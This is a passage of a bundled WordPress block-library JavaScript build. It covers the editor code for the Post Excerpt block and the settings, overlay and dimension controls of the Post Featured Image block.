38707 if (isProtected && !userCanEdit) {
38708 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)(
38709 "The content is currently protected and does not have the available excerpt."
38710 ) }) });
38711 }
38712 const readMoreLink = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38713 external_wp_blockEditor_namespaceObject.RichText,
38714 {
38715 identifier: "moreText",
38716 className: "wp-block-post-excerpt__more-link",
38717 tagName: "a",
38718 "aria-label": (0,external_wp_i18n_namespaceObject.__)("\u201CRead more\u201D link text"),
38719 placeholder: (0,external_wp_i18n_namespaceObject.__)('Add "read more" link text'),
38720 value: moreText,
38721 onChange: (newMoreText) => setAttributes({ moreText: newMoreText }),
38722 withoutInteractiveFormatting: true
38723 }
38724 );
38725 const excerptClassName = dist_clsx("wp-block-post-excerpt__excerpt", {
38726 "is-inline": !showMoreOnNewLine
38727 });
38728 const rawOrRenderedExcerpt = (rawExcerpt || strippedRenderedExcerpt).trim();
38729 let trimmedExcerpt = "";
38730 if (wordCountType === "words") {
38731 trimmedExcerpt = rawOrRenderedExcerpt.split(" ", excerptLength).join(" ");
38732 } else if (wordCountType === "characters_excluding_spaces") {
38733 const excerptWithSpaces = rawOrRenderedExcerpt.split("", excerptLength).join("");
38734 const numberOfSpaces = excerptWithSpaces.length - excerptWithSpaces.replaceAll(" ", "").length;
38735 trimmedExcerpt = rawOrRenderedExcerpt.split("", excerptLength + numberOfSpaces).join("");
38736 } else if (wordCountType === "characters_including_spaces") {
38737 trimmedExcerpt = rawOrRenderedExcerpt.split("", excerptLength).join("");
38738 }
38739 const isTrimmed = trimmedExcerpt !== rawOrRenderedExcerpt;
38740 const excerptContent = isEditable ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38741 external_wp_blockEditor_namespaceObject.RichText,
38742 {
38743 className: excerptClassName,
38744 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Excerpt text"),
38745 value: isSelected ? rawOrRenderedExcerpt : (!isTrimmed ? rawOrRenderedExcerpt : trimmedExcerpt + ELLIPSIS) || (0,external_wp_i18n_namespaceObject.__)("No excerpt found"),
38746 onChange: setExcerpt,
38747 tagName: "p"
38748 }
38749 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: excerptClassName, children: !isTrimmed ? rawOrRenderedExcerpt || (0,external_wp_i18n_namespaceObject.__)("No excerpt found") : trimmedExcerpt + ELLIPSIS });
38750 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38751 showControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38752 external_wp_blockEditor_namespaceObject.AlignmentToolbar,
38753 {
38754 value: textAlign,
38755 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
38756 }
38757 ) }),
38758 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
38759 external_wp_components_namespaceObject.__experimentalToolsPanel,
38760 {
38761 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
38762 resetAll: () => {
38763 setAttributes({
38764 showMoreOnNewLine: true,
38765 excerptLength: 55
38766 });
38767 },
38768 dropdownMenuProps,
38769 children: [
38770 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38771 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38772 {
38773 hasValue: () => showMoreOnNewLine !== true,
38774 label: (0,external_wp_i18n_namespaceObject.__)("Show link on new line"),
38775 onDeselect: () => setAttributes({ showMoreOnNewLine: true }),
38776 isShownByDefault: true,
38777 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38778 external_wp_components_namespaceObject.ToggleControl,
38779 {
38780 __nextHasNoMarginBottom: true,
38781 label: (0,external_wp_i18n_namespaceObject.__)("Show link on new line"),
38782 checked: showMoreOnNewLine,
38783 onChange: (newShowMoreOnNewLine) => setAttributes({
38784 showMoreOnNewLine: newShowMoreOnNewLine
38785 })
38786 }
38787 )
38788 }
38789 ),
38790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38791 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38792 {
38793 hasValue: () => excerptLength !== 55,
38794 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words"),
38795 onDeselect: () => setAttributes({ excerptLength: 55 }),
38796 isShownByDefault: true,
38797 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38798 external_wp_components_namespaceObject.RangeControl,
38799 {
38800 __next40pxDefaultSize: true,
38801 __nextHasNoMarginBottom: true,
38802 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words"),
38803 value: excerptLength,
38804 onChange: (value) => {
38805 setAttributes({ excerptLength: value });
38806 },
38807 min: "10",
38808 max: "100"
38809 }
38810 )
38811 }
38812 )
38813 ]
38814 }
38815 ) }),
38816 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
38817 excerptContent,
38818 !showMoreOnNewLine && " ",
38819 showMoreOnNewLine ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "wp-block-post-excerpt__more-text", children: readMoreLink }) : readMoreLink
38820 ] })
38821 ] });
38822}
38823
38824
38825;// ./node_modules/@wordpress/block-library/build-module/post-excerpt/transforms.js
38826
38827const post_excerpt_transforms_transforms = {
38828 from: [
38829 {
38830 type: "block",
38831 blocks: ["core/post-content"],
38832 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/post-excerpt")
38833 }
38834 ],
38835 to: [
38836 {
38837 type: "block",
38838 blocks: ["core/post-content"],
38839 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/post-content")
38840 }
38841 ]
38842};
38843var post_excerpt_transforms_transforms_default = post_excerpt_transforms_transforms;
38844
38845
38846;// ./node_modules/@wordpress/block-library/build-module/post-excerpt/index.js
38847
38848
38849
38850
38851
38852const { name: post_excerpt_name } = post_excerpt_block_namespaceObject;
38853const post_excerpt_settings = {
38854 icon: post_excerpt_default,
38855 transforms: post_excerpt_transforms_transforms_default,
38856 edit: PostExcerptEditor
38857};
38858const post_excerpt_init = () => initBlock({ name: post_excerpt_name, metadata: post_excerpt_block_namespaceObject, settings: post_excerpt_settings });
38859
38860
38861;// ./node_modules/@wordpress/icons/build-module/library/post-featured-image.js
38862
38863
38864var post_featured_image_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z" }) });
38865
38866
38867;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/block.json
38868const post_featured_image_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-featured-image","title":"Featured Image","category":"theme","description":"Display a post\'s featured image.","textdomain":"default","attributes":{"isLink":{"type":"boolean","default":false,"role":"content"},"aspectRatio":{"type":"string"},"width":{"type":"string"},"height":{"type":"string"},"scale":{"type":"string","default":"cover"},"sizeSlug":{"type":"string"},"rel":{"type":"string","attribute":"rel","default":"","role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"},"overlayColor":{"type":"string"},"customOverlayColor":{"type":"string"},"dimRatio":{"type":"number","default":0},"gradient":{"type":"string"},"customGradient":{"type":"string"},"useFirstImageFromPost":{"type":"boolean","default":false}},"usesContext":["postId","postType","queryId"],"example":{"viewportWidth":350},"supports":{"align":["left","right","center","wide","full"],"color":{"text":false,"background":false},"__experimentalBorder":{"color":true,"radius":true,"width":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"color":true,"radius":true,"width":true}},"filter":{"duotone":true},"shadow":{"__experimentalSkipSerialization":true},"html":false,"spacing":{"margin":true,"padding":true},"interactivity":{"clientNavigation":true}},"selectors":{"border":".wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay","shadow":".wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder","filter":{"duotone":".wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before"}},"editorStyle":"wp-block-post-featured-image-editor","style":"wp-block-post-featured-image"}');
38869;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/dimension-controls.js
38870
38871
38872
38873
38874const SCALE_OPTIONS = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38875 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38876 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
38877 {
38878 value: "cover",
38879 label: (0,external_wp_i18n_namespaceObject._x)("Cover", "Scale option for Image dimension control")
38880 }
38881 ),
38882 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38883 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
38884 {
38885 value: "contain",
38886 label: (0,external_wp_i18n_namespaceObject._x)(
38887 "Contain",
38888 "Scale option for Image dimension control"
38889 )
38890 }
38891 ),
38892 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38893 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
38894 {
38895 value: "fill",
38896 label: (0,external_wp_i18n_namespaceObject._x)("Fill", "Scale option for Image dimension control")
38897 }
38898 )
38899] });
38900const DEFAULT_SCALE = "cover";
38901const scaleHelp = {
38902 cover: (0,external_wp_i18n_namespaceObject.__)(
38903 "Image is scaled and cropped to fill the entire space without being distorted."
38904 ),
38905 contain: (0,external_wp_i18n_namespaceObject.__)(
38906 "Image is scaled to fill the space without clipping nor distorting."
38907 ),
38908 fill: (0,external_wp_i18n_namespaceObject.__)(
38909 "Image will be stretched and distorted to completely fill the space."
38910 )
38911};
38912const DimensionControls = ({
38913 clientId,
38914 attributes: { aspectRatio, width, height, scale },
38915 setAttributes
38916}) => {
38917 const [availableUnits, defaultRatios, themeRatios, showDefaultRatios] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
38918 "spacing.units",
38919 "dimensions.aspectRatios.default",
38920 "dimensions.aspectRatios.theme",
38921 "dimensions.defaultAspectRatios"
38922 );
38923 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
38924 availableUnits: availableUnits || ["px", "%", "vw", "em", "rem"]
38925 });
38926 const onDimensionChange = (dimension, nextValue) => {
38927 const parsedValue = parseFloat(nextValue);
38928 if (isNaN(parsedValue) && nextValue) {
38929 return;
38930 }
38931 setAttributes({
38932 [dimension]: parsedValue < 0 ? "0" : nextValue
38933 });
38934 };
38935 const scaleLabel = (0,external_wp_i18n_namespaceObject._x)("Scale", "Image scaling options");
38936 const showScaleControl = height || aspectRatio && aspectRatio !== "auto";
38937 const themeOptions = themeRatios?.map(({ name, ratio }) => ({
38938 label: name,
38939 value: ratio
38940 }));
38941 const defaultOptions = defaultRatios?.map(({ name, ratio }) => ({
38942 label: name,
38943 value: ratio
38944 }));
38945 const aspectRatioOptions = [
38946 {
38947 label: (0,external_wp_i18n_namespaceObject._x)(
38948 "Original",
38949 "Aspect ratio option for dimensions control"
38950 ),
38951 value: "auto"
38952 },
38953 ...showDefaultRatios ? defaultOptions : [],
38954 ...themeOptions ? themeOptions : []
38955 ];
38956 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38957 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38958 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38959 {
38960 hasValue: () => !!aspectRatio,
38961 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
38962 onDeselect: () => setAttributes({ aspectRatio: void 0 }),
38963 resetAllFilter: () => ({
38964 aspectRatio: void 0
38965 }),
38966 isShownByDefault: true,
38967 panelId: clientId,
38968 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38969 external_wp_components_namespaceObject.SelectControl,
38970 {
38971 __next40pxDefaultSize: true,
38972 __nextHasNoMarginBottom: true,
38973 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
38974 value: aspectRatio,
38975 options: aspectRatioOptions,
38976 onChange: (nextAspectRatio) => setAttributes({ aspectRatio: nextAspectRatio })
38977 }
38978 )
38979 }
38980 ),
38981 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38982 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38983 {
38984 className: "single-column",
38985 hasValue: () => !!height,
38986 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
38987 onDeselect: () => setAttributes({ height: void 0 }),
38988 resetAllFilter: () => ({
38989 height: void 0
38990 }),
38991 isShownByDefault: true,
38992 panelId: clientId,
38993 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38994 external_wp_components_namespaceObject.__experimentalUnitControl,
38995 {
38996 __next40pxDefaultSize: true,
38997 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
38998 labelPosition: "top",
38999 value: height || "",
39000 min: 0,
39001 onChange: (nextHeight) => onDimensionChange("height", nextHeight),
39002 units
39003 }
39004 )
39005 }
39006 ),
39007 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39008 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39009 {
39010 className: "single-column",
39011 hasValue: () => !!width,
39012 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
39013 onDeselect: () => setAttributes({ width: void 0 }),
39014 resetAllFilter: () => ({
39015 width: void 0
39016 }),
39017 isShownByDefault: true,
39018 panelId: clientId,
39019 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39020 external_wp_components_namespaceObject.__experimentalUnitControl,
39021 {
39022 __next40pxDefaultSize: true,
39023 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
39024 labelPosition: "top",
39025 value: width || "",
39026 min: 0,
39027 onChange: (nextWidth) => onDimensionChange("width", nextWidth),
39028 units
39029 }
39030 )
39031 }
39032 ),
39033 showScaleControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39034 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39035 {
39036 hasValue: () => !!scale && scale !== DEFAULT_SCALE,
39037 label: scaleLabel,
39038 onDeselect: () => setAttributes({
39039 scale: DEFAULT_SCALE
39040 }),
39041 resetAllFilter: () => ({
39042 scale: DEFAULT_SCALE
39043 }),
39044 isShownByDefault: true,
39045 panelId: clientId,
39046 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39047 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
39048 {
39049 __next40pxDefaultSize: true,
39050 __nextHasNoMarginBottom: true,
39051 label: scaleLabel,
39052 value: scale,
39053 help: scaleHelp[scale],
39054 onChange: (value) => setAttributes({
39055 scale: value
39056 }),
39057 isBlock: true,
39058 children: SCALE_OPTIONS
39059 }
39060 )
39061 }
39062 )
39063 ] });
39064};
39065var dimension_controls_default = DimensionControls;
39066
39067
39068;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/overlay-controls.js
39069
39070
39071
39072
39073
39074const Overlay = ({
39075 clientId,
39076 attributes,
39077 setAttributes,
39078 overlayColor,
39079 setOverlayColor
39080}) => {
39081 const { dimRatio } = attributes;
39082 const { gradientValue, setGradient } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseGradient)();
39083 const colorGradientSettings = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
39084 if (!colorGradientSettings.hasColorsOrGradients) {
39085 return null;
39086 }
39087 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39088 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39089 external_wp_blockEditor_namespaceObject.__experimentalColorGradientSettingsDropdown,
39090 {
39091 __experimentalIsRenderedInSidebar: true,
39092 settings: [
39093 {
39094 colorValue: overlayColor.color,
39095 gradientValue,
39096 label: (0,external_wp_i18n_namespaceObject.__)("Overlay"),
39097 onColorChange: setOverlayColor,
39098 onGradientChange: setGradient,
39099 isShownByDefault: true,
39100 resetAllFilter: () => ({
39101 overlayColor: void 0,
39102 customOverlayColor: void 0,
39103 gradient: void 0,
39104 customGradient: void 0
39105 }),
39106 clearable: true
39107 }
39108 ],
39109 panelId: clientId,
39110 ...colorGradientSettings
39111 }
39112 ),
39113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39114 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39115 {
39116 hasValue: () => dimRatio !== void 0,
39117 label: (0,external_wp_i18n_namespaceObject.__)("Overlay opacity"),
39118 onDeselect: () => setAttributes({ dimRatio: 0 }),
39119 resetAllFilter: () => ({
39120 dimRatio: 0
39121 }),
39122 isShownByDefault: true,
39123 panelId: clientId,
39124 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39125 external_wp_components_namespaceObject.RangeControl,
39126 {
39127 __nextHasNoMarginBottom: true,
39128 label: (0,external_wp_i18n_namespaceObject.__)("Overlay opacity"),
39129 value: dimRatio,
39130 onChange: (newDimRatio) => setAttributes({
39131 dimRatio: newDimRatio
39132 }),
39133 min: 0,
39134 max: 100,
39135 step: 10,
39136 required: true,
39137 __next40pxDefaultSize: true
39138 }
39139 )
39140 }
39141 )
39142 ] });
39143};
39144var overlay_controls_default = (0,external_wp_compose_namespaceObject.compose)([
39145 (0,external_wp_blockEditor_namespaceObject.withColors)({ overlayColor: "background-color" })
39146])(Overlay);
39147
39148
39149;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/utils.js
39150function utils_dimRatioToClass(ratio) {
39151 return ratio === void 0 ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
39152}
39153
39154
39155;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/overlay.js
39156
39157
39158
39159
39160
39161const overlay_Overlay = ({ attributes, overlayColor }) => {
39162 const { dimRatio } = attributes;
39163 const { gradientClass, gradientValue } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseGradient)();
39164 const colorGradientSettings = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
39165 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
39166 const overlayStyles = {
39167 backgroundColor: overlayColor.color,
39168 backgroundImage: gradientValue,
39169 ...borderProps.style
39170 };
39171 if (!colorGradientSettings.hasColorsOrGradients || !dimRatio) {
39172 return null;
39173 }
39174 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39175 "span",
39176 {
39177 "aria-hidden": "true",
39178 className: dist_clsx(
39179 "wp-block-post-featured-image__overlay",
39180 utils_dimRatioToClass(dimRatio),
39181 {
39182 [overlayColor.class]: overlayColor.class,
39183 "has-background-dim": dimRatio !== void 0,
39184 "has-background-gradient": gradientValue,
39185 [gradientClass]: gradientClass
39186 },
39187 borderProps.className
39188 ),
39189 style: overlayStyles
39190 }
39191 );
39192};
39193var overlay_default = (0,external_wp_compose_namespaceObject.compose)([
39194 (0,external_wp_blockEditor_namespaceObject.withColors)({ overlayColor: "background-color" })
39195])(overlay_Overlay);
39196
39197
39198;// ./node_modules/@wordpress/block-library/build-module/post-featured-image/edit.js
39199
39200
39201
39202
39203
39204
39205
39206
39207
39208
39209
39210
39211
39212
39213
39214
39215const post_featured_image_edit_ALLOWED_MEDIA_TYPES = ["image"];
39216const { ResolutionTool: post_featured_image_edit_ResolutionTool } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
39217const edit_DEFAULT_MEDIA_SIZE_SLUG = "full";
39218function FeaturedImageResolutionTool({ image, value, onChange }) {
39219 const { imageSizes } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
39220 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
39221 return {
39222 imageSizes: getSettings().imageSizes
39223 };
39224 }, []);
39225 if (!imageSizes?.length) {
39226 return null;
39227 }
39228 const imageSizeOptions = imageSizes.filter(
39229 ({ slug }) => image?.media_details?.sizes?.[slug]?.source_url
39230 ).map(({ name, slug }) => ({ value: slug, label: name }));
39231 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39232 post_featured_image_edit_ResolutionTool,
39233 {
39234 value,
39235 defaultValue: edit_DEFAULT_MEDIA_SIZE_SLUG,
39236 options: imageSizeOptions,
39237 onChange
39238 }
39239 );
39240}
39241function PostFeaturedImageEdit({
39242 clientId,
39243 attributes,
39244 setAttributes,
39245 context: { postId, postType: postTypeSlug, queryId }
39246}) {
39247 const isDescendentOfQueryLoop = Number.isFinite(queryId);
39248 const {
39249 isLink,
39250 aspectRatio,
39251 height,
39252 width,
39253 scale,
39254 sizeSlug,
39255 rel,
39256 linkTarget,
39257 useFirstImageFromPost
39258 } = attributes;
39259 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)();
39260 const [storedFeaturedImage, setFeaturedImage] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
39261 "postType",
39262 postTypeSlug,
39263 "featured_media",
39264 postId
39265 );
39266 const [postContent] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
39267 "postType",
39268 postTypeSlug,
39269 "content",
39270 postId
39271 );
39272 const featuredImage = (0,external_wp_element_namespaceObject.useMemo)(() => {
39273 if (storedFeaturedImage) {
39274 return storedFeaturedImage;
39275 }
39276 if (!useFirstImageFromPost) {
39277 return;
39278 }
39279 const imageOpener = /<!--\s+wp:(?:core\/)?image\s+(?<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*)?}\s+)?-->/.exec(
39280 postContent
39281 );
39282 const imageId = imageOpener?.groups?.attrs && JSON.parse(imageOpener.groups.attrs)?.id;
39283 return imageId;
39284 }, [storedFeaturedImage, useFirstImageFromPost, postContent]);
39285 const { media, postType, postPermalink } = (0,external_wp_data_namespaceObject.useSelect)(
39286 (select) => {
39287 const { getEntityRecord, getPostType, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
39288 return {
39289 media: featuredImage && getEntityRecord("postType", "attachment", featuredImage, {
39290 context: "view"
39291 }),
39292 postType: postTypeSlug && getPostType(postTypeSlug),
39293 postPermalink: getEditedEntityRecord(
39294 "postType",
39295 postTypeSlug,
39296 postId
39297 )?.link
39298 };
39299 },
39300 [featuredImage, postTypeSlug, postId]
39301 );
39302 const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url || media?.source_url;
39303 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
39304 style: { width, height, aspectRatio },
39305 className: dist_clsx({
39306 "is-transient": temporaryURL
39307 })
39308 });
39309 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
39310 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
39311 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
39312 const placeholder = (content) => {
39313 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39314 external_wp_components_namespaceObject.Placeholder,
39315 {
39316 className: dist_clsx(
39317 "block-editor-media-placeholder",
39318 borderProps.className
39319 ),
39320 withIllustration: true,
39321 style: {
39322 height: !!aspectRatio && "100%",
39323 width: !!aspectRatio && "100%",
39324 ...borderProps.style,
39325 ...shadowProps.style
39326 },
39327 children: content
39328 }
39329 );
39330 };
39331 const onSelectImage = (value) => {
39332 if (value?.id) {
39333 setFeaturedImage(value.id);
39334 }
39335 if (value?.url && (0,external_wp_blob_namespaceObject.isBlobURL)(value.url)) {
39336 setTemporaryURL(value.url);
39337 }
39338 };
39339 const onResetImage = () => {
39340 setAttributes({
39341 isLink: false,
39342 linkTarget: "_self",
39343 rel: "",
39344 sizeSlug: void 0
39345 });
39346 setFeaturedImage(0);
39347 };
39348 (0,external_wp_element_namespaceObject.useEffect)(() => {
39349 if (mediaUrl && temporaryURL) {
39350 setTemporaryURL();
39351 }
39352 }, [mediaUrl, temporaryURL]);
39353 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
39354 const onUploadError = (message) => {
39355 createErrorNotice(message, { type: "snackbar" });
39356 setTemporaryURL();
39357 };
39358 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
39359 const controls = blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39360 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "color", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39361 overlay_controls_default,
39362 {
39363 attributes,
39364 setAttributes,
39365 clientId
39366 }
39367 ) }),
39368 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "dimensions", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39369 dimension_controls_default,
39370 {
39371 clientId,
39372 attributes,
39373 setAttributes,
39374 media
39375 }
39376 ) }),
39377 (featuredImage || isDescendentOfQueryLoop || !postId) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
39378 external_wp_components_namespaceObject.__experimentalToolsPanel,
39379 {
39380 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
39381 resetAll: () => {
39382 setAttributes({
39383 isLink: false,
39384 linkTarget: "_self",
39385 rel: "",
39386 sizeSlug: edit_DEFAULT_MEDIA_SIZE_SLUG
39387 });
39388 },
39389 dropdownMenuProps,
39390 children: [
39391 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39392 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39393 {
39394 label: postType?.labels.singular_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
39395 // translators: %s: Name of the post type e.g: "post".
39396 (0,external_wp_i18n_namespaceObject.__)("Link to %s"),
39397 postType.labels.singular_name
39398 ) : (0,external_wp_i18n_namespaceObject.__)("Link to post"),
39399 isShownByDefault: true,
39400 hasValue: () => !!isLink,
39401 onDeselect: () => setAttributes({
39402 isLink: false
39403 }),
39404 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39405 external_wp_components_namespaceObject.ToggleControl,
39406 {
39407 __nextHasNoMarginBottom: true,
39408 label: postType?.labels.singular_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
39409 // translators: %s: Name of the post type e.g: "post".
39410 (0,external_wp_i18n_namespaceObject.__)("Link to %s"),
39411 postType.labels.singular_name
39412 ) : (0,external_wp_i18n_namespaceObject.__)("Link to post"),
39413 onChange: () => setAttributes({ isLink: !isLink }),
39414 checked: isLink
39415 }
39416 )
39417 }
39418 ),
39419 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39420 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39421 {
39422 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
39423 isShownByDefault: true,
39424 hasValue: () => "_self" !== linkTarget,
39425 onDeselect: () => setAttributes({
39426 linkTarget: "_self"
39427 }),
39428 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39429 external_wp_components_namespaceObject.ToggleControl,
39430 {
39431 __nextHasNoMarginBottom: true,
39432 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
39433 onChange: (value) => setAttributes({
39434 linkTarget: value ? "_blank" : "_self"
39435 }),
39436 checked: linkTarget === "_blank"
39437 }
39438 )
39439 }
39440 ),
39441 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39442 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
39443 {
39444 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
39445 isShownByDefault: true,
